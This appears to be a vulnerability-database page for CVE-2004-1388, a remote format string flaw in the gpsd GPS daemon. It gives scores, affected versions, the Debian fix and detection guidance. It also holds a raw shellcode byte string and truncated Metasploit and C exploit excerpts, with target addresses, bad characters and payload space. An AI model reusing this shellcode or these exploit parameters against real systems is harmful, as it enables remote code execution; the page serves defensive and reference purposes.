CVE-2004-1388
published 2004-12-31CVE-2004-1388: Format string vulnerability in the gpsd_report function for BerliOS GPD daemon (gpsd, formerly pygps) 1.9.0 through 2.7 allows remote attackers to execute…
PriorityP358high7.5CVSS 2.0
AVNACLAuNCPIPAP
EXPLOIT
EPSS
68.19%
99.2th percentile
Format string vulnerability in the gpsd_report function for BerliOS GPD daemon (gpsd, formerly pygps) 1.9.0 through 2.7 allows remote attackers to execute arbitrary code via certain GPS requests containing format string specifiers that are not properly handled in syslog calls.
Affected
22 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| berlios | gps_daemon | — | — |
| berlios | gps_daemon | — | — |
| berlios | gps_daemon | — | — |
| berlios | gps_daemon | — | — |
| berlios | gps_daemon | — | — |
| berlios | gps_daemon | — | — |
| berlios | gps_daemon | — | — |
| berlios | gps_daemon | — | — |
| berlios | gps_daemon | — | — |
| berlios | gps_daemon | — | — |
| berlios | gps_daemon | — | — |
| berlios | gps_daemon | — | — |
| berlios | gps_daemon | — | — |
| berlios | gps_daemon | — | — |
| berlios | gps_daemon | — | — |
| berlios | gps_daemon | — | — |
| berlios | gps_daemon | — | — |
| debian | gpsd | < gpsd 2.7-4 (bookworm) | gpsd 2.7-4 (bookworm) |
| gpsd_project | gpsd | >= 0 < 2.7-4 | 2.7-4 |
| gpsd_project | gpsd | >= 0 < 2.7-4 | 2.7-4 |
| gpsd_project | gpsd | >= 0 < 2.7-4 | 2.7-4 |
| gpsd_project | gpsd | >= 0 < 2.7-4 | 2.7-4 |
Detection & IOCsextracted from sources · hover to see the quote
bytes↗
\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x16\x81\x73\x17\x13\x99\x37\xe2\x83\xeb\xfc\xe2\xf4\x22\x42\xc0\x01\xa3\xff\x64\xa1\x40\xda\x64\x6b\xf2\xd2\xfa\x62\x9a\x5e\x65\x84\x7b\x8c\xf5\xa1\x75\xca\xbe\x03\xa3\x89\x67\xb3\x44\x10\xd6\x52\x75\x54\xb7\x52\x75\x2a\x33\x2f\x93\xc9\x67\xb5\x9a\x78\x74\x52\x75\x54\xb7\x6b\xca\x10\xf4\x52\x2c\xd0\xfa\x62\x52\x7b\xcf\xb3\x7b\xf7\x18\x91\x7b\xf1\x18\xcd\x71\xf0\xbe\x01\x42\xca\xbe\x03\xa3\x92\xfa\x62
- →Monitor TCP connections to port 2947 (gpsd default port) for format string specifiers such as %x, %n, %hn in the request payload, which are characteristic of this exploit. ↗
- →After successful exploitation, a reverse/bind shell is spawned on TCP port 5570 on the victim; monitor for unexpected outbound or inbound connections on this port from gpsd processes. ↗
- →The vulnerability is in the gpsd_report function where user-controlled GPS request data is passed unsanitized to syslog(); look for syslog entries from gpsd containing format specifiers as evidence of exploitation attempts. ↗
- →The exploit payload uses a NOP sled of 3000 bytes prepended to shellcode; large NOP sleds in gpsd TCP/2947 traffic are a strong indicator of exploitation. ↗
- ·Exploit bad characters that must be avoided in payload: null byte, newline, carriage return, and form feed. Payloads containing these bytes will not be delivered correctly. ↗
- ·Payload space is limited to 1004 bytes; detection rules should account for the fact that the shellcode portion of the exploit is constrained to this size. ↗
- ·Fixed in Debian package version 2.7-4; affected versions are gpsd 1.9.0 through 2.7. ↗
CVSS provenance
nvdv2.07.5HIGHAV:N/AC:L/Au:N/C:P/I:P/A:P
osv7.5HIGH
vendor_debian7.5HIGH
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
GHSA
GHSA-6g3h-vj3c-7f68: Format string vulnerability in the gpsd_report function for BerliOS GPD daemon (gpsd, formerly pygps) 1
ghsa_unreviewed·2022-04-29
CVE-2004-1388 [HIGH] GHSA-6g3h-vj3c-7f68: Format string vulnerability in the gpsd_report function for BerliOS GPD daemon (gpsd, formerly pygps) 1
Format string vulnerability in the gpsd_report function for BerliOS GPD daemon (gpsd, formerly pygps) 1.9.0 through 2.7 allows remote attackers to execute arbitrary code via certain GPS requests containing format string specifiers that are not properly handled in syslog calls.
OSV
CVE-2004-1388: Format string vulnerability in the gpsd_report function for BerliOS GPD daemon (gpsd, formerly pygps) 1
osv·2004-12-31·CVSS 7.5
CVE-2004-1388 [HIGH] CVE-2004-1388: Format string vulnerability in the gpsd_report function for BerliOS GPD daemon (gpsd, formerly pygps) 1
Format string vulnerability in the gpsd_report function for BerliOS GPD daemon (gpsd, formerly pygps) 1.9.0 through 2.7 allows remote attackers to execute arbitrary code via certain GPS requests containing format string specifiers that are not properly handled in syslog calls.
Debian
CVE-2004-1388: gpsd - Format string vulnerability in the gpsd_report function for BerliOS GPD daemon (...
vendor_debian·2004·CVSS 7.5
CVE-2004-1388 [HIGH] CVE-2004-1388: gpsd - Format string vulnerability in the gpsd_report function for BerliOS GPD daemon (...
Format string vulnerability in the gpsd_report function for BerliOS GPD daemon (gpsd, formerly pygps) 1.9.0 through 2.7 allows remote attackers to execute arbitrary code via certain GPS requests containing format string specifiers that are not properly handled in syslog calls.
Scope: local
bookworm: resolved (fixed in 2.7-4)
bullseye: resolved (fixed in 2.7-4)
forky: resolved (fixed in 2.7-4)
sid: resolved (fixed in 2.7-4)
trixie: resolved (fixed in 2.7-4)
No detection rules found.
Exploit-DB
Berlios GPSD - Format String (Metasploit)
exploitdb·2010-04-30
CVE-2004-1388 Berlios GPSD - Format String (Metasploit)
Berlios GPSD - Format String (Metasploit)
---
##
# $Id: gpsd_format_string.rb 9179 2010-04-30 08:40:19Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 'Berlios GPSD Format String Vulnerability',
'Description' => %q{
This module exploits a format string vulnerability in the Berlios GPSD server.
This vulnerability was discovered by Kevin Finisterre.
},
'Author' => [ 'Yann Senotier ' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 9179 $',
'References' =>
[
[ 'CVE', '2004-1388' ],
[ 'OSVDB', '13199' ],
[ 'BID', '12371' ],
[ 'URL'
Exploit-DB
Berlios GPSD 2.7 - Remote Format String (Metasploit)
exploitdb·2007-01-08
CVE-2004-1388 Berlios GPSD 2.7 - Remote Format String (Metasploit)
Berlios GPSD 2.7 - Remote Format String (Metasploit)
---
package Msf::Exploit::gpsd_format_string;
use base "Msf::Exploit";
use strict;
use Pex::Text;
use IO::Socket;
my $advanced = { };
my $info = {
'Name' => 'Berlios GPSD Format String Vulnerability',
'Version' => '$ 1.0 $',
'Authors' => [ 'Enseirb ', ],
'Arch' => [ 'x86' ],
'OS' => [ 'linux' ],
'Priv' => 1,
'UserOpts' =>
{
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The target port', 2947],
},
'Payload' =>
{
'Space' => 1004,
'BadChars' => "\x00\x0a\x0d\x0c",
},
'Targets' =>
[
[ "gpsd-1.91-1.i386.rpm", 0x0804f250,0x41424344 ], # .rpms Tested on Redhat 9.0
[ "gpsd-1.92-1.i386.rpm", 0x0804f630,0x41424344 ],
[ "gpsd-1.93-1.i386.rpm", 0x0804e154,0x41424344 ],
[ "gpsd-1.94-1.i386.rpm", 0x0804f260,0x41424344
Exploit-DB
Berlios GPSD 1.91-1 < 2.7-2 - Format String
exploitdb·2005-05-25
CVE-2004-1388 Berlios GPSD 1.91-1 < 2.7-2 - Format String
Berlios GPSD 1.91-1 'Berlios GPSD Format String Vulnerability',
'Description' => %q{
This module exploits a format string vulnerability in the Berlios GPSD server.
This vulnerability was discovered by Kevin Finisterre.
},
'Author' => [ 'Yann Senotier ' ],
'License' => MSF_LICENSE,
'Version' => '$ Revision: 1.0 $',
'References' =>
[
[ 'CVE', '2004-1388' ],
[ 'OSVDB', '13199' ],
[ 'BID', '12371' ],
[ 'URL', 'http://www.securiteam.com/unixfocus/5LP0M1PEKK.html'],
],
'Platform' => 'linux',
'Arch' => ARCH_X86,
'Privileged' => false,
'Payload' =>
{
'Space' => 1004,
'BadChars' => "\x00\x0a\x0d\x0c",
},
'Targets' =>
[
[ 'gpsd-1.91-1.i386.rpm', { 'Syslog' => 0x0804f250, 'Ret' => 0x41424344 }, ],
[ 'gpsd-1.92-1.i386.rpm', { 'Syslog' => 0x0804f630, 'Ret' => 0x41424344 }, ],
[ 'gpsd-1.93-1.i386.rp
Exploit-DB
Berlios GPSD 2.7.x - Remote Format String
exploitdb·2005-01-26
CVE-2004-1388 Berlios GPSD 2.7.x - Remote Format String
Berlios GPSD 2.7.x - Remote Format String
---
/* Added }, on line 75 /str0ke /*
/**
** Copyright Johnh and KF 2005
**
** Gpsd remote format string exploit
** By: Johnh[at]digitalmunition[dot]com
** Bug Found By: kf[at]digitalmunition[dot]com
** http://www.digitalmunition.com/DMA[2005-0125a].txt
**
** Features: Version ident
**
** Debian machines provide uid=gpsd
** Redhat machines provide uid=root
**
** Lots of JUMP_SLOT's provided but
** You can get or brute the shellcode
** addresses yourself.
**/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define GPSD_PORT 2947
void sh(int st_sock_va);
int new_tcpConnect (char *host, unsigned int port, unsigned int timeout);
int checkZero (long value);
char *putLong
Metasploit
Berlios GPSD Format String Vulnerability
metasploit
Berlios GPSD Format String Vulnerability
Berlios GPSD Format String Vulnerability
This module exploits a format string vulnerability in the Berlios GPSD server. This vulnerability was discovered by Kevin Finisterre.
No writeups or analysis indexed.
http://lists.berlios.de/pipermail/gpsd-announce/2005-January/000018.htmlhttp://marc.info/?l=bugtraq&m=110677341711505&w=2http://www.digitalmunition.com/DMA%5B2005-0125a%5D.txthttp://www.mail-archive.com/debian-bugs-closed%40lists.debian.org/msg02103.htmlhttps://exchange.xforce.ibmcloud.com/vulnerabilities/19079http://lists.berlios.de/pipermail/gpsd-announce/2005-January/000018.htmlhttp://marc.info/?l=bugtraq&m=110677341711505&w=2http://www.digitalmunition.com/DMA%5B2005-0125a%5D.txthttp://www.mail-archive.com/debian-bugs-closed%40lists.debian.org/msg02103.htmlhttps://exchange.xforce.ibmcloud.com/vulnerabilities/19079
2004-12-31
Published